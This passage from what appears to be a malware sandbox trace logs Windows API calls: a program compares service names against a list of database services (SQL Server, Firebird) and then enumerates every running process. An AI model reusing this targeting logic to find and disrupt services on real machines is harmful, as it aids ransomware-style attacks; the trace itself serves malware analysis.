(lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0098.092] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0098.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0098.092] lstrlenW (lpString="PlugPlay") returned 8 [0098.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0098.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0098.092] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0098.092] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0098.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0098.092] lstrlenW (lpString="Power") returned 5 [0098.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0098.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0098.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0098.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0098.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0098.093] lstrlenW (lpString="ProfSvc") returned 7 [0098.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0098.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0098.093] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0098.093] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0098.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0098.093] lstrlenW (lpString="RpcEptMapper") returned 12 [0098.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0098.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0098.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0098.093] lstrlenW (lpString="RpcSs") returned 5 [0098.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0098.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0098.093] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0098.093] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0098.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0098.093] lstrlenW (lpString="SamSs") returned 5 [0098.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0098.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0098.106] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0098.106] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0098.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0098.106] lstrlenW (lpString="Schedule") returned 8 [0098.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0098.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0098.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0098.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0098.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0098.106] lstrlenW (lpString="SecurityHealthService") returned 21 [0098.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0098.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0098.106] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0098.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0098.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0098.107] lstrlenW (lpString="SENS") returned 4 [0098.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0098.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0098.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0098.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0098.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0098.107] lstrlenW (lpString="ShellHWDetection") returned 16 [0098.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.107] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0098.107] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0098.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0098.107] lstrlenW (lpString="Spooler") returned 7 [0098.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0098.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0098.107] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0098.107] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0098.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0098.107] lstrlenW (lpString="SSDPSRV") returned 7 [0098.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0098.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0098.107] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0098.107] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0098.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61fb98 | out: hHeap=0x5c0000) returned 1 [0098.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0098.111] Process32FirstW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.112] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0098.113] lstrlenW (lpString="System") returned 6 [0098.113] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0098.113] lstrlenW (lpString="smss.exe") returned 8 [0098.113] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.114] lstrlenW (lpString="csrss.exe") returned 9 [0098.114] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0098.115] lstrlenW (lpString="wininit.exe") returned 11 [0098.115] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.115] lstrlenW (lpString="csrss.exe") returned 9 [0098.115] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0098.116] lstrlenW (lpString="winlogon.exe") returned 12 [0098.116] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0098.116] lstrlenW (lpString="services.exe") returned 12 [0098.116] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0098.117] lstrlenW (lpString="lsass.exe") returned 9 [0098.117] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.118] lstrlenW (lpString="svchost.exe") returned 11 [0098.118] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0098.118] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0098.118] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0098.119] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0098.119] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.119] lstrlenW (lpString="svchost.exe") returned 11 [0098.119] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0098.120] lstrlenW (lpString="dwm.exe") returned 7 [0098.120] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.121] lstrlenW (lpString="svchost.exe") returned 11 [0098.121] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.121] lstrlenW (lpString="svchost.exe") returned 11 [0098.121] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.122] lstrlenW (lpString="svchost.exe") returned 11 [0098.122] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.123] lstrlenW (lpString="svchost.exe") returned 11 [0098.123] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.123] lstrlenW (lpString="svchost.exe") returned 11 [0098.123] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.124] lstrlenW (lpString="svchost.exe") returned 11 [0098.124] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.125] lstrlenW (lpString="svchost.exe") returned 11 [0098.125] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.125] lstrlenW (lpString="svchost.exe") returned 11 [0098.125] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.126] lstrlenW (lpString="svchost.exe") returned 11 [0098.126] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0098.127] lstrlenW (lpString="spoolsv.exe") returned 11 [0098.127] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.127] lstrlenW (lpString="svchost.exe") returned 11 [0098.127] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.128] lstrlenW (lpString="svchost.exe") returned 11 [0098.128] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0098.129] lstrlenW (lpString="audiodg.exe") returned 11 [0098.129] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0098.129] lstrlenW (lpString="sihost.exe") returned 10 [0098.129] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.130] lstrlenW (lpString="svchost.exe") returned 11 [0098.130] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.130] lstrlenW (lpString="taskhostw.exe") returned 13 [0098.130] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0098.131] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0098.131] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0098.132] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0098.132] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0098.132] lstrlenW (lpString="explorer.exe") returned 12 [0098.132] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0098.136] lstrlenW (lpString="Memory Compression") returned 18 [0098.136] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0098.137] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0098.137] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0098.138] lstrlenW (lpString="SearchUI.exe") returned 12 [0098.138] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0098.138] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0098.138] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.139] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0098.139] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0098.140] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0098.140] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0098.140] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0098.140] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0098.141] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0098.141] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0098.236] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0098.236] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0098.236] lstrlenW (lpString="conhost.exe") returned 11 [0098.237] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0098.237] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0098.237] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0098.238] lstrlenW (lpString="upper arc.exe") returned 13 [0098.238] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0098.239] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0098.239] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0098.240] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0098.240] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0098.240] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0098.240] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0098.241] lstrlenW (lpString="blademcdonald.exe") returned 17 [0098.241] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0098.242] lstrlenW (lpString="courage.exe") returned 11 [0098.242] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0098.243] lstrlenW (lpString="pearl.exe") returned 9 [0098.243] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0098.243] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0098.243] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0098.244] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0098.244] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0098.245] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0098.245] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0098.246] lstrlenW (lpString="dome.exe") returned 8 [0098.246] Process32NextW (in: hSnapshot=0x278, lppe=0x249fd2c | out: 